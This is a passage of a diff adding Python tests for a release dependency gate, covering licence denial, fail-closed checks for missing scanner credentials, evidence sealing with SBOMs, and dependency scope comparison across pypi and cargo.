+    raw = tmp_path / "raw"
+    _write_raw(
+        raw / "one",
+        **{
+            "metadata.json": json.dumps(
+                {"ecosystem": "cargo", "name": "c", "version": "1"}
+            )
+        },
+    )
+    (raw / "one" / "licenses" / "nested").mkdir(parents=True)
+    with pytest.raises(gate.GateError):
+        gate.capture(raw, tmp_path / "capture")
+
+
+@pytest.mark.parametrize(
+    "metadata",
+    [
+        "[]",
+        json.dumps({"ecosystem": "npm", "name": "x", "version": "1"}),
+        json.dumps({"ecosystem": "pypi", "name": "", "version": "1"}),
+    ],
+)
+def test_capture_refuses_malformed_raw_metadata(tmp_path: Path, metadata: str) -> None:
+    """Raw metadata must declare a supported ecosystem, a name, and a version."""
+    raw = tmp_path / "raw"
+    _write_raw(raw / "one", **{"metadata.json": metadata})
+    with pytest.raises(gate.GateError):
+        gate.capture(raw, tmp_path / "capture")
+
+
+def test_member_listing_rejects_malformed_lines() -> None:
+    """An archive listing line without a name is refused rather than dropped."""
+    with pytest.raises(gate.GateError):
+        gate.parse_member_listing("file\n")
+
+
+# ---------------------------------------------------------------------------
+# Sealed evidence composition
+# ---------------------------------------------------------------------------
+
+
+def _seal(tmp_path: Path) -> tuple[Path, dict[str, str], Path]:
+    """Gate a passing capture and seal its distributions, returning the outputs."""
+    capture = build_capture(tmp_path / "capture")
+    report_path = tmp_path / "report.json"
+    assert gate.main(["gate", "--capture", str(capture), "--report", str(report_path)]) == 0
+    distributions = tmp_path / "dist"
+    distributions.mkdir()
+    wheel = distributions / "fast_mlsirm-0.11.5-cp313-cp313-linux_x86_64.whl"
+    sdist = distributions / "fast_mlsirm-0.11.5.tar.gz"
+    wheel.write_bytes(b"wheel bytes")
+    sdist.write_bytes(b"sdist bytes")
+    evidence_root = tmp_path / "sealed"
+    outputs = gate.seal(report_path, wheel, sdist, evidence_root, "sealed-evidence")
+    return report_path, outputs, evidence_root
+
+
+def test_seal_produces_exactly_the_six_members_attestation_verifies(tmp_path: Path) -> None:
+    """The sealed directory is accepted verbatim by the attestation handoff verifier."""
+    _report, outputs, evidence_root = _seal(tmp_path)
+    assert sorted(path.name for path in evidence_root.iterdir()) == sorted(
+        [
+            outputs["wheel_filename"],
+            outputs["wheel_sbom_filename"],
+            outputs["sdist_filename"],
+            outputs["sdist_sbom_filename"],
+            gate.SOURCE_IDENTITY_FILENAME,
+            gate.CHECKSUM_FILENAME,
+        ]
+    )
+    manifest = handoff.verify(
+        _namespace(outputs, evidence_root, tmp_path / "verified.json")
+    )
+    assert manifest["result"] == "PASS"
+
+
+def _namespace(outputs: dict[str, str], evidence_root: Path, manifest: Path) -> Any:
+    """Build the attestation verifier's argument namespace from the gate outputs."""
+    import argparse
+
+    return argparse.Namespace(
+        source_repository=outputs["source_repository"],
+        source_sha=outputs["source_sha"],
+        evidence_artifact_name=outputs["evidence_artifact_name"],
+        evidence_artifact_digest="sha256:" + _hash("artifact"),
+        evidence_root=str(evidence_root),
+        wheel_filename=outputs["wheel_filename"],
+        wheel_sha256=outputs["wheel_sha256"],
+        wheel_sbom_filename=outputs["wheel_sbom_filename"],
+        wheel_sbom_sha256=outputs["wheel_sbom_sha256"],
+        sdist_filename=outputs["sdist_filename"],
+        sdist_sha256=outputs["sdist_sha256"],
+        sdist_sbom_filename=outputs["sdist_sbom_filename"],
+        sdist_sbom_sha256=outputs["sdist_sbom_sha256"],
+        source_identity_sha256=outputs["source_identity_sha256"],
+        checksum_sha256=outputs["checksum_sha256"],
+        predicate_type=outputs["predicate_type"],
+        cyclonedx_schema=outputs["cyclonedx_schema"],
+        output_manifest=str(manifest),
+    )
+
+
+def test_seal_outputs_cover_every_attestation_input(tmp_path: Path) -> None:
+    """Composition is only possible if the gate emits all required handoff fields."""
+    _report, outputs, _root = _seal(tmp_path)
+    required = {
+        "source_repository",
+        "source_sha",
+        "wheel_filename",
+        "wheel_sha256",
+        "wheel_sbom_filename",
+        "wheel_sbom_sha256",
+        "sdist_filename",
+        "sdist_sha256",
+        "sdist_sbom_filename",
+        "sdist_sbom_sha256",
+        "source_identity_sha256",
+        "checksum_sha256",
+        "predicate_type",
+        "cyclonedx_schema",
+        "evidence_artifact_name",
+    }
+    assert required.issubset(outputs)
+    assert outputs["source_repository"] == REPOSITORY
+    assert outputs["source_sha"] == SOURCE_SHA
+
+
+def test_sealed_sbom_lists_exactly_the_gated_dependencies(tmp_path: Path) -> None:
+    """Provenance covers the dependency set the gate examined, with its rationales."""
+    report_path, outputs, evidence_root = _seal(tmp_path)
+    sbom = json.loads(
+        (evidence_root / outputs["wheel_sbom_filename"]).read_text(encoding="utf-8")
+    )
+    names = [component["name"] for component in sbom["components"]]
+    assert names == ["greencrate", "greenlib"]
+    assert sbom["serialNumber"] == gate.cyclonedx_serial_number(
+        outputs["wheel_filename"], outputs["wheel_sha256"]
+    )
+    report = json.loads(report_path.read_text(encoding="utf-8"))
+    assert report["dependency_count"] == 2
+
+
+def test_sealed_sbom_records_a_dual_license_selection_rationale(tmp_path: Path) -> None:
+    """A selection rationale is written into the artifact provenance, not just logs."""
+    from tests.test_release_dependency_gate import _python_evidence, REVIEWED_TEXTS
+
+    capture = build_capture(
+        tmp_path / "capture",
+        python_evidence=_python_evidence(
+            license_expression="BSD-3-Clause OR GPL-2.0-only",
+            # The bundled text must agree with the declaration; the default MIT body
+            # would be a real LICENSE_TEXT_DISAGREEMENT here.
+            license_texts={
+                "LICENSE": REVIEWED_TEXTS["colorama-0.4.6.txt"]
+            },
+        ),
+        selections=[
+            {
+                "ecosystem": "pypi",
+                "name": "greenlib",
+                "version": "1.0.0",
+                "chosen": "BSD-3-Clause",
+                "rationale": "BSD-3-Clause selected for commercial redistribution",
+            }
+        ],
+    )
+    report_path = tmp_path / "report.json"
+    assert gate.main(["gate", "--capture", str(capture), "--report", str(report_path)]) == 0
+    wheel = tmp_path / "w.whl"
+    sdist = tmp_path / "s.tar.gz"
+    wheel.write_bytes(b"w")
+    sdist.write_bytes(b"s")
+    outputs = gate.seal(report_path, wheel, sdist, tmp_path / "sealed", "sealed-evidence")
+    sbom = json.loads(
+        (tmp_path / "sealed" / outputs["wheel_sbom_filename"]).read_text(encoding="utf-8")
+    )
+    rationales = [
+        prop["value"]
+        for component in sbom["components"]
+        for prop in component["properties"]
+        if prop["name"] == "cwl:dependency:license-selection-rationale"
+    ]
+    assert rationales == ["BSD-3-Clause selected for commercial redistribution"]
+
+
+def test_seal_refuses_a_failing_gate_report(tmp_path: Path) -> None:
+    """Bytes that did not pass the gate are never sealed for attestation."""
+    from tests.test_release_dependency_gate import _python_evidence
+
+    capture = build_capture(
+        tmp_path / "capture",
+        python_evidence=_python_evidence(license_expression="AGPL-3.0-only"),
+    )
+    report_path = tmp_path / "report.json"
+    assert gate.main(["gate", "--capture", str(capture), "--report", str(report_path)]) == 2
+    wheel = tmp_path / "w.whl"
+    sdist = tmp_path / "s.tar.gz"
+    wheel.write_bytes(b"w")
+    sdist.write_bytes(b"s")
+    with pytest.raises(gate.GateError):
+        gate.seal(report_path, wheel, sdist, tmp_path / "sealed", "sealed-evidence")
+
+
+def test_seal_refuses_a_report_that_is_not_an_object(tmp_path: Path) -> None:
+    """A gate report that is not an object cannot authorize sealing."""
+    report_path = tmp_path / "report.json"
+    report_path.write_text("[]", encoding="utf-8")
+    with pytest.raises(gate.GateError):
+        gate.seal(report_path, tmp_path, tmp_path, tmp_path / "sealed", "name")
+
+
+# ---------------------------------------------------------------------------
+# CLI
+# ---------------------------------------------------------------------------
+
+
+def test_capture_command_writes_evidence(tmp_path: Path, capsys: pytest.CaptureFixture) -> None:
+    """The capture subcommand reports the dependency keys it assembled."""
+    raw = tmp_path / "raw"
+    _write_raw(
+        raw / "one",
+        **{
+            "metadata.json": json.dumps(
+                {"ecosystem": "cargo", "name": "greencrate", "version": "0.1.0"}
+            )
+        },
+    )
+    from tests.test_release_dependency_gate import _fixture_archive
+    snapshot = _fixture_archive({}, "cargo")
+    (raw / "one/source.archive").write_bytes(snapshot)
+    (raw / "one/source.sha256").write_text(hashlib.sha256(snapshot).hexdigest())
+    assert (
+        gate.main(["capture", "--raw", str(raw), "--capture", str(tmp_path / "capture")]) == 0
+    )
+    assert json.loads(capsys.readouterr().out) == {"captured": ["cargo/greencrate@0.1.0"]}
+
+
+def test_seal_command_appends_github_outputs(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    """The seal subcommand appends every handoff field to ``$GITHUB_OUTPUT``."""
+    capture = build_capture(tmp_path / "capture")
+    report_path = tmp_path / "report.json"
+    assert gate.main(["gate", "--capture", str(capture), "--report", str(report_path)]) == 0
+    wheel = tmp_path / "w.whl"
+    sdist = tmp_path / "s.tar.gz"
+    wheel.write_bytes(b"w")
+    sdist.write_bytes(b"s")
+    output_file = tmp_path / "github-output"
+    monkeypatch.setenv("GITHUB_OUTPUT", str(output_file))
+    assert (
+        gate.main(
+            [
+                "seal",
+                "--report",
+                str(report_path),
+                "--wheel",
+                str(wheel),
+                "--sdist",
+                str(sdist),
+                "--evidence-root",
+                str(tmp_path / "sealed"),
+                "--evidence-artifact-name",
+                "sealed-evidence",
+            ]
+        )
+        == 0
+    )
+    emitted = dict(
+        line.split("=", 1) for line in output_file.read_text(encoding="utf-8").splitlines()
+    )
+    assert emitted["predicate_type"] == gate.CYCLONEDX_PREDICATE_TYPE
+    assert emitted["cyclonedx_schema"] == gate.CYCLONEDX_SCHEMA
+
+
+def test_write_github_output_is_a_noop_outside_actions(tmp_path: Path) -> None:
+    """Without ``$GITHUB_OUTPUT`` the gate writes no output file."""
+    gate.write_github_output({"a": "b"}, None)
+    assert list(tmp_path.iterdir()) == []
+
+
+def test_cli_reports_a_gate_error_as_exit_two(
+    tmp_path: Path, capsys: pytest.CaptureFixture
+) -> None:
+    """An unreadable capture exits non-zero instead of defaulting to success."""
+    assert (
+        gate.main(
+            ["gate", "--capture", str(tmp_path / "absent"), "--report", str(tmp_path / "r.json")]
+        )
+        == 2
+    )
+    assert "ERROR:" in capsys.readouterr().err
diff --git a/tests/test_release_dependency_gate_stages.py b/tests/test_release_dependency_gate_stages.py
new file mode 100644
index 0000000000..145c1730a3
--- /dev/null
+++ b/tests/test_release_dependency_gate_stages.py
@@ -0,0 +1,598 @@
+"""The gate's two stages, credential absence, and full-set scope checks (#2342).
+
+The reusable workflow declares the five provider secrets as ``required: false`` so
+a review-only negative fixture can exercise the licence decision with no
+credential present. That is only safe if three things hold, and each has a test
+here:
+
+1. A denied or unverifiable licence is refused by the **licence** stage, which
+   never reads a Strix binding and needs no credential.
+2. An *allowed* input that reaches the Strix stage **without** credentials fails
+   closed with ``STRIX_CREDENTIALS_ABSENT`` — never skipped, neutral, or passed.
+3. A passing licence-stage report can never be sealed, so the prescreen cannot
+   stand in for the Strix stage.
+
+The scope tests encode CO#1226: coverage was accepted because one component of an
+ecosystem existed, so every expected member must now be counted and matched.
+"""
+
+from __future__ import annotations
+
+import json
+from pathlib import Path
+
+import pytest
+
+from scripts.ci import release_dependency_gate as gate
+from tests.test_release_dependency_gate import (
+    CARGO_METADATA,
+    PY_HASH,
+    SOURCE_SHA,
+    _python_evidence,
+    build_capture,
+)
+
+
+def _codes(report: gate.GateReport) -> set[str]:
+    """Return the set of failure codes one gate report carries."""
+    return {failure.code for failure in report.failures}
+
+
+def _strip_strix_evidence(capture: Path) -> None:
+    """Remove every Strix binding, as a credential-free run would leave the tree."""
+    for binding in (capture / "strix" / "bindings").iterdir():
+        binding.unlink()
+
+
+# ---------------------------------------------------------------------------
+# Regression direction (a): denied licence, no credentials, licence stage
+# ---------------------------------------------------------------------------
+
+
+@pytest.mark.parametrize(
+    ("expression", "expected"),
+    [
+        ("GPL-3.0-only", "LICENSE_DENIED_GPL"),
+        ("LGPL-2.1-only", "LICENSE_DENIED_LGPL"),
+        ("AGPL-3.0-only", "LICENSE_DENIED_AGPL"),
+    ],
+)
+def test_denied_licence_fails_at_the_licence_stage_without_any_credential(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch, expression: str, expected: str
+) -> None:
+    """A copyleft dependency is refused before Strix, with the licence reason code."""
+    for name in gate.STRIX_CREDENTIAL_NAMES:
+        monkeypatch.delenv(name, raising=False)
+    capture = build_capture(
+        tmp_path, python_evidence=_python_evidence(license_expression=expression)
+    )
+    _strip_strix_evidence(capture)
+    report = gate.gate(capture, stage=gate.LICENSE_STAGE)
+    assert not report.passed
+    codes = _codes(report)
+    assert expected in codes
+    # The licence stage reads no binding at all, so no Strix code can appear and
+    # the refusal cannot be mistaken for a Strix verdict.
+    assert not {code for code in codes if code.startswith("STRIX_")}
+    assert report.to_json()["stage"] == gate.LICENSE_STAGE
+    assert report.to_json()["strix_evidence_binder_sha256"] == ""
+
+
+def test_unknown_licence_is_a_hold_at_the_licence_stage(tmp_path: Path) -> None:
+    """UNKNOWN holds the release rather than passing it (atheris/numpy policy)."""
+    for name, expression in (("atheris", ""), ("numpy", "UNKNOWN")):
+        capture = build_capture(
+            tmp_path / name,
+            python_evidence=_python_evidence(
+                license_expression=expression, license="", classifiers=[]
+            ),
+        )
+        _strip_strix_evidence(capture)
+        report = gate.gate(capture, stage=gate.LICENSE_STAGE)
+        assert not report.passed, name
+        assert _codes(report) & {"LICENSE_MISSING", "LICENSE_UNRECOGNIZED"}, name
+
+
+def test_dual_licence_without_a_recorded_selection_fails_at_the_licence_stage(
+    tmp_path: Path,
+) -> None:
+    """An `OR` expression needs an explicit permissive selection and a rationale."""
+    capture = build_capture(
+        tmp_path,
+        python_evidence=_python_evidence(license_expression="MIT OR GPL-3.0-or-later"),
+    )
+    _strip_strix_evidence(capture)
+    report = gate.gate(capture, stage=gate.LICENSE_STAGE)
+    assert not report.passed
+    assert "LICENSE_SELECTION_REQUIRED" in _codes(report)
+
+
+def test_licence_stage_passes_an_allowed_release_with_no_binding_present(
+    tmp_path: Path,
+) -> None:
+    """The licence stage is meaningful only if an allowed input clears it credential-free."""
+    capture = build_capture(tmp_path)
+    _strip_strix_evidence(capture)
+    report = gate.gate(capture, stage=gate.LICENSE_STAGE)
+    assert report.passed
+    assert report.to_json()["stage"] == gate.LICENSE_STAGE
+
+
+# ---------------------------------------------------------------------------
+# Regression direction (b): allowed input reaching Strix with no credentials
+# ---------------------------------------------------------------------------
+
+
+def test_allowed_input_reaching_strix_without_credentials_fails_closed(
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    """Credential absence at the Strix stage is a refusal, not a skip or a pass."""
+    for name in gate.STRIX_CREDENTIAL_NAMES:
+        monkeypatch.delenv(name, raising=False)
+    failures = gate.require_strix_credentials(dict())
+    assert [failure.code for failure in failures] == [gate.STRIX_CREDENTIALS_ABSENT]
+    detail = failures[0].detail
+    for name in gate.STRIX_CREDENTIAL_NAMES:
+        assert name in detail
+
+
+def test_a_single_absent_credential_still_fails_closed() -> None:
+    """Four of five credentials is not four fifths of a pass."""
+    environ = {name: "present" for name in gate.STRIX_CREDENTIAL_NAMES}
+    environ["OPENAI_API_KEY"] = "   "
+    failures = gate.require_strix_credentials(environ)
+    assert [failure.code for failure in failures] == [gate.STRIX_CREDENTIALS_ABSENT]
+    assert failures[0].detail.endswith("OPENAI_API_KEY")
+
+
+def test_present_credentials_are_never_echoed_or_measured() -> None:
+    """A present credential's value must not reach the reason code in any form."""
+    sentinel = "SENTINEL-c0ffee-VALUE"
+    environ = {name: sentinel for name in gate.STRIX_CREDENTIAL_NAMES}
+    environ["BYTEZ_API_KEY"] = ""
+    failures = gate.require_strix_credentials(environ)
+    detail = failures[0].detail
+    assert sentinel not in detail
+    # Neither the value nor its length may be inferable from the refusal.
+    assert str(len(sentinel)) not in detail
+    assert detail.endswith("BYTEZ_API_KEY")
+
+
+def test_all_credentials_present_is_no_failure() -> None:
+    """The check refuses only absence; it never invents a credential failure."""
+    environ = {name: "present" for name in gate.STRIX_CREDENTIAL_NAMES}
+    assert gate.require_strix_credentials(environ) == []
+
+
+def test_credential_command_exits_non_zero_and_prints_only_names(
+    monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
+) -> None:
+    """The CLI refuses with the reason code and leaks no secret material."""
+    sentinel = "SENTINEL-c0ffee-VALUE"
+    for name in gate.STRIX_CREDENTIAL_NAMES:
+        monkeypatch.setenv(name, sentinel)
+    monkeypatch.delenv("OPENROUTER_API_KEY", raising=False)
+    assert gate.main(["require-strix-credentials"]) == 2
+    captured = capsys.readouterr()
+    assert gate.STRIX_CREDENTIALS_ABSENT in captured.err
+    assert "OPENROUTER_API_KEY" in captured.err
+    assert sentinel not in captured.err + captured.out
+
+
+def test_credential_command_exits_zero_when_every_credential_is_present(
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    """The Strix stage proceeds only when all five credentials are present."""
+    for name in gate.STRIX_CREDENTIAL_NAMES:
+        monkeypatch.setenv(name, "present")
+    assert gate.main(["require-strix-credentials"]) == 0
+
+
+def test_full_stage_without_bindings_still_refuses_with_a_binding_code(
+    tmp_path: Path,
+) -> None:
+    """Reaching the full stage with no Strix evidence refuses; it never degrades."""
+    capture = build_capture(tmp_path)
+    _strip_strix_evidence(capture)
+    report = gate.gate(capture, stage=gate.FULL_STAGE)
+    assert not report.passed
+    assert gate.STRIX_BINDING_MISSING in _codes(report)
+
+
+# ---------------------------------------------------------------------------
+# A licence-stage report is not sealable
+# ---------------------------------------------------------------------------
+
+
+def test_a_passing_licence_stage_report_can_never_be_sealed(tmp_path: Path) -> None:
+    """Sealing a prescreen would publish bytes Strix never examined."""
+    capture = build_capture(tmp_path / "capture")
+    _strip_strix_evidence(capture)
+    report = gate.gate(capture, stage=gate.LICENSE_STAGE)
+    assert report.passed
+    report_path = tmp_path / "prescreen.json"
+    report_path.write_text(json.dumps(report.to_json()), encoding="utf-8")
+    wheel = tmp_path / "pkg-1.0-py3-none-any.whl"
+    sdist = tmp_path / "pkg-1.0.tar.gz"
+    wheel.write_bytes(b"wheel")
+    sdist.write_bytes(b"sdist")
+    with pytest.raises(gate.GateError) as error:
+        gate.seal(report_path, wheel, sdist, tmp_path / "sealed", "evidence")
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+    assert "full stage" in str(error.value)
+
+
+def test_an_unknown_stage_is_refused(tmp_path: Path) -> None:
+    """Only the two declared stages exist; anything else fails closed."""
+    capture = build_capture(tmp_path)
+    with pytest.raises(gate.GateError) as error:
+        gate.gate(capture, stage="strix-only")
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+def test_prescreen_and_gate_commands_report_their_stage(tmp_path: Path) -> None:
+    """The CLI records which stage produced a report, so seal can check it."""
+    capture = build_capture(tmp_path / "capture")
+    prescreen_report = tmp_path / "prescreen.json"
+    assert gate.main(
+        ["prescreen", "--capture", str(capture), "--report", str(prescreen_report)]
+    ) == 0
+    assert json.loads(prescreen_report.read_text(encoding="utf-8"))["stage"] == (
+        gate.LICENSE_STAGE
+    )
+    full_report = tmp_path / "gate.json"
+    assert gate.main(["gate", "--capture", str(capture), "--report", str(full_report)]) == 0
+    assert json.loads(full_report.read_text(encoding="utf-8"))["stage"] == gate.FULL_STAGE
+
+
+def test_prescreen_command_exits_non_zero_on_a_denied_licence(tmp_path: Path) -> None:
+    """The prescreen refuses through its exit status, and writes the reason code."""
+    capture = build_capture(
+        tmp_path / "capture",
+        python_evidence=_python_evidence(license_expression="GPL-3.0-only"),
+    )
+    _strip_strix_evidence(capture)
+    report_path = tmp_path / "prescreen.json"
+    assert gate.main(
+        ["prescreen", "--capture", str(capture), "--report", str(report_path)]
+    ) == 2
+    payload = json.loads(report_path.read_text(encoding="utf-8"))
+    assert payload["result"] == "FAIL"
+    assert {failure["code"] for failure in payload["failures"]} == {"LICENSE_DENIED_GPL"}
+
+
+# ---------------------------------------------------------------------------
+# Early exact-SHA and repository shape validation
+# ---------------------------------------------------------------------------
+
+
+@pytest.mark.parametrize(
+    "source_sha",
+    ["", "main", "3c3ca9b1", SOURCE_SHA.upper(), SOURCE_SHA + "a", "g" * 40],
+)
+def test_a_non_exact_source_sha_is_refused_early(source_sha: str) -> None:
+    """A release must name an exact 40-hex commit, not a branch or a short SHA."""
+    with pytest.raises(gate.GateError) as error:
+        gate.validate_release_identity("ContextualWisdomLab/fast-mlsirm", source_sha)
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+@pytest.mark.parametrize(
+    "repository", ["", "fast-mlsirm", "a/b/c", "Contextual WisdomLab/x", "owner/"]
+)
+def test_a_malformed_repository_is_refused_early(repository: str) -> None:
+    """The gated repository must be an unambiguous owner/name pair."""
+    with pytest.raises(gate.GateError) as error:
+        gate.validate_release_identity(repository, SOURCE_SHA)
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+def test_validate_inputs_command_accepts_an_exact_release_identity(
+    capsys: pytest.CaptureFixture[str],
+) -> None:
+    """The workflow's first step passes only a well-formed exact identity."""
+    assert (
+        gate.main(
+            [
+                "validate-inputs",
+                "--source-repository",
+                "ContextualWisdomLab/fast-mlsirm",
+                "--source-sha",
+                SOURCE_SHA,
+            ]
+        )
+        == 0
+    )
+    assert "well formed" in capsys.readouterr().out
+
+
+def test_validate_inputs_command_refuses_a_branch_name(
+    capsys: pytest.CaptureFixture[str],
+) -> None:
+    """A branch ref reaching the gate is refused before any credentialed step."""
+    assert (
+        gate.main(
+            [
+                "validate-inputs",
+                "--source-repository",
+                "ContextualWisdomLab/fast-mlsirm",
+                "--source-sha",
+                "main",
+            ]
+        )
+        == 2
+    )
+    assert "40-hex" in capsys.readouterr().err
+
+
+# ---------------------------------------------------------------------------
+# Full-set scope comparison (CO#1226)
+# ---------------------------------------------------------------------------
+
+
+def test_a_subset_of_the_expected_python_set_is_a_scope_mismatch(tmp_path: Path) -> None:
+    """A lock member with no collected evidence refuses the release."""
+    second = f"otherlib==2.0.0 \\\n    --hash=sha256:{'b' * 64}\n"
+    capture = build_capture(
+        tmp_path,
+        lock_text=f"greenlib==1.0.0 \\\n    --hash=sha256:{PY_HASH}\n{second}",
+        installed={
+            "installed": [
+                {"metadata": {"name": "greenlib", "version": "1.0.0"}},
+                {"metadata": {"name": "otherlib", "version": "2.0.0"}},
+            ]
+        },
+    )
+    report = gate.gate(capture, stage=gate.LICENSE_STAGE)
+    assert not report.passed
+    assert gate.SCOPE_SET_MISMATCH in _codes(report)
+    rows = {row["ecosystem"]: row for row in report.to_json()["scopes"]}
+    # Two expected, one collected: counted and compared, not assumed.
+    assert rows["python"]["expected_count"] == 2
+    assert rows["python"]["collected_count"] == 1
+    assert rows["python"]["matched_count"] == 1
+
+
+def test_a_missing_fixture_is_a_scope_mismatch(tmp_path: Path) -> None:
+    """Evidence without the isolated fixture leaves the Strix scope unestablished."""
+    capture = build_capture(tmp_path)
+    (capture / "strix" / "fixtures" / "pypi__greenlib__1.0.0.json").unlink()
+    report = gate.gate(capture, stage=gate.LICENSE_STAGE)
+    assert not report.passed
+    assert gate.SCOPE_SET_MISMATCH in _codes(report)
+    rows = {row["ecosystem"]: row for row in report.to_json()["scopes"]}
+    assert rows["python"]["collected_count"] == 1
+    assert rows["python"]["matched_count"] == 0
+
+
+def test_collected_material_outside_every_expected_set_is_a_scope_mismatch(
+    tmp_path: Path,
+) -> None:
+    """Capture material the producer never declared leaves membership unestablished."""
+    capture = build_capture(tmp_path)
+    (capture / "evidence" / "pypi__smuggled__9.9.9.json").write_text(
+        "{}", encoding="utf-8"
+    )
+    report = gate.gate(capture, stage=gate.LICENSE_STAGE)
+    assert not report.passed
+    mismatches = [
+        failure for failure in report.failures if failure.code == gate.SCOPE_SET_MISMATCH
+    ]
+    assert any("pypi__smuggled__9.9.9" in failure.detail for failure in mismatches)
+
+
+def test_scope_rows_count_every_expected_member_on_a_green_release(
+    tmp_path: Path,
+) -> None:
+    """A pass states the arithmetic it passed on, per ecosystem."""
+    capture = build_capture(tmp_path)
+    report = gate.gate(capture)
+    assert report.passed
+    rows = {row["ecosystem"]: row for row in report.to_json()["scopes"]}
+    for ecosystem in ("python", "cargo"):
+        row = rows[ecosystem]
+        assert (
+            row["expected_count"]
+            == row["enumerated_count"]
+            == row["collected_count"]
+            == row["matched_count"]
+            == 1
+        ), ecosystem
+        assert row["established"] is True
+
+
+def test_a_target_only_cargo_dependency_gets_no_exemption(tmp_path: Path) -> None:
+    """A cfg()-gated dependency such as `r-efi` is expected and gated like any other.
+
+    `resolve_cargo_graph` walks every ``resolve.nodes`` edge regardless of
+    ``dep_kind`` or target cfg, so a UEFI-only crate is in the expected set. This
+    gate grants no target-based exemption, so its absence from the collected set is
+    a refusal rather than a permitted omission.
+    """
+    metadata = json.loads(json.dumps(CARGO_METADATA))
+    efi_id = "r-efi 5.4.0 (registry+https://github.com/rust-lang/crates.io-index)"
+    metadata["packages"].append(
+        {
+            "id": efi_id,
+            "name": "r-efi",
+            "version": "5.4.0",
+            "license": "MIT OR Apache-2.0 OR LGPL-2.1-or-later",
+            "source": "registry+https://github.com/rust-lang/crates.io-index",
+        }
+    )
+    root = metadata["resolve"]["root"]
+    for node in metadata["resolve"]["nodes"]:
+        if node["id"] == root:
+            node["deps"].append(
+                {"pkg": efi_id, "dep_kinds": [{"kind": None, "target": "x86_64-unknown-uefi"}]}
+            )
+    metadata["resolve"]["nodes"].append({"id": efi_id, "deps": []})
+    capture = build_capture(tmp_path)
+    (capture / "cargo" / "metadata.json").write_text(
+        json.dumps(metadata), encoding="utf-8"
+    )
+    lock_path = capture / "cargo" / "Cargo.lock"
+    lock_path.write_text(
+        lock_path.read_text(encoding="utf-8")
+        + '\n[[package]]\nname = "r-efi"\nversion = "5.4.0"\n'
+        + f'source = "registry+https://github.com/rust-lang/crates.io-index"\n'
+        + f'checksum = "{"c" * 64}"\n',
+        encoding="utf-8",
+    )
+    report = gate.gate(capture, stage=gate.LICENSE_STAGE)
+    assert not report.passed
+    # It is enumerated as an expected member, so its uncollected evidence refuses.
+    rows = {row["ecosystem"]: row for row in report.to_json()["scopes"]}
+    assert rows["cargo"]["expected_count"] == 2
+    assert gate.SCOPE_SET_MISMATCH in _codes(report)
+    assert any(
+        "cargo__r-efi__5.4.0" in failure.detail
+        for failure in report.failures
+        if failure.code == gate.SCOPE_SET_MISMATCH
+    )
+
+
+def test_unsupported_ecosystem_names_are_each_reported(tmp_path: Path) -> None:
+    """Every unenumerable ecosystem is named, not just the first one found."""
+    capture = build_capture(tmp_path)
+    payload = json.loads((capture / "release.json").read_text(encoding="utf-8"))
+    payload["ecosystems"] = ["python", "cargo", "npm", "maven"]
+    (capture / "release.json").write_text(json.dumps(payload), encoding="utf-8")
+    report = gate.gate(capture, stage=gate.LICENSE_STAGE)
+    subjects = {
+        failure.subject
+        for failure in report.failures
+        if failure.code == gate.SCOPE_UNVERIFIABLE
+    }
+    assert subjects == {"ecosystem/npm", "ecosystem/maven"}
+
+
+def test_scope_helpers_ignore_non_json_and_symlinked_capture_entries(
+    tmp_path: Path,
+) -> None:
+    """Only regular ``.json`` files count as collected material."""
+    directory = tmp_path / "evidence"
+    directory.mkdir()
+    (directory / "real.json").write_text("{}", encoding="utf-8")
+    (directory / "notes.txt").write_text("x", encoding="utf-8")
+    (directory / "link.json").symlink_to(directory / "real.json")
+    (directory / "nested.json").mkdir()
+    assert gate._present_slugs(directory) == {"real"}
+    assert gate._present_slugs(tmp_path / "absent") == set()
+
+
+def test_slug_for_key_matches_the_dependency_slug() -> None:
+    """The scope comparison and the capture filenames must agree exactly."""
+    dependency = gate.Dependency("pypi", "green-lib", "1.0.0")
+    assert gate._slug_for_key(dependency.key) == dependency.slug
+
+
+def test_missing_expected_key_set_is_treated_as_unestablished(tmp_path: Path) -> None:
+    """An ecosystem whose enumerator produced no expected member cannot pass."""
+    rows, failures = gate._scope_rows(tmp_path, ["python"], {"python": set()}, [])
+    assert [failure.code for failure in failures] == [gate.SCOPE_UNVERIFIABLE]
+    assert rows[0]["expected_count"] == 0
+
+
+def test_evidence_present_for_a_dependency_absent_from_the_environment(
+    tmp_path: Path,
+) -> None:
+    """A lock member missing from the environment fails scope *and* reconciliation."""
+    capture = build_capture(
+        tmp_path,
+        lock_text=(
+            f"greenlib==1.0.0 \\\n    --hash=sha256:{PY_HASH}\n"
+            f"ghostlib==3.0.0 \\\n    --hash=sha256:{'d' * 64}\n"
+        ),
+    )
+    report = gate.gate(capture, stage=gate.LICENSE_STAGE)
+    assert not report.passed
+    codes = _codes(report)
+    assert gate.LOCK_ENV_MISMATCH in codes
+    assert gate.SCOPE_SET_MISMATCH in codes
+
+
+def test_report_json_sorts_scope_rows_by_ecosystem(tmp_path: Path) -> None:
+    """The report is deterministic, so a diff of two runs is meaningful."""
+    capture = build_capture(tmp_path)
+    payload = gate.gate(capture).to_json()
+    ecosystems = [row["ecosystem"] for row in payload["scopes"]]
+    assert ecosystems == sorted(ecosystems)
+
+
+def test_strix_credential_names_are_exactly_the_workflow_secrets() -> None:
+    """The checked set and the workflow's declared secrets must not drift apart."""
+    workflow = Path(
+        ".github/workflows/release-dependency-license-strix-gate.yml"
+    ).read_text(encoding="utf-8")
+    block = workflow.split("    secrets:\n", 1)[1].split("    outputs:", 1)[0]
+    declared = [
+        line.strip().rstrip(":")
+        for line in block.splitlines()
+        if line.startswith("      ") and line.strip().endswith(":")
+    ]
+    assert declared == list(gate.STRIX_CREDENTIAL_NAMES)
+
+
+def test_supported_ecosystems_map_to_the_dependency_key_prefixes() -> None:
+    """The scope comparison must key on the same prefix the enumerators emit."""
+    assert gate.SUPPORTED_ECOSYSTEMS == {"python": "pypi", "cargo": "cargo"}
+
+
+def test_gate_stages_are_exactly_the_two_declared_stages() -> None:
+    """A third stage would need its own sealing rule, so the set is pinned."""
